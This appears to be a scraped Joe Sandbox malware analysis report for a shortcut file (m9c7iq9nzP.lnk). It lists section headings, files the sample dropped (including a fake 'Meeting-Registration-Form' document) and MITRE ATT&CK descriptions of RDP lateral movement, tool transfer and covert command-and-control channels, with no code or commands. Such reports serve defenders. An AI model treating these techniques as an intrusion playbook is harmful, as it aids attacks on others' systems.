Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{18E4A2BE-3D94-4B3C-B390-3C4290C873EE}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{192C1263-A46C-4420-9462-D9AD87DA408D}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\Diagnostics\WINWORD\App_1733917451864075600_4B6E77DD-D2D4-4BBC-8E4A-DF67E168D2FB.log

C:\Users\user\AppData\Local\Temp\Diagnostics\WINWORD\App_1733917451864404900_4B6E77DD-D2D4-4BBC-8E4A-DF67E168D2FB.log

C:\Users\user\AppData\Local\Temp\Meeting-Registration-Form.docx.docx

C:\Users\user\AppData\Local\Temp\RES2DEB.tmp

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_04ekb3wp.dsu.psm1

Windows Analysis Report
m9c7iq9nzP.lnk

Description:	Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.
Tactics:	Lateral Movement
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre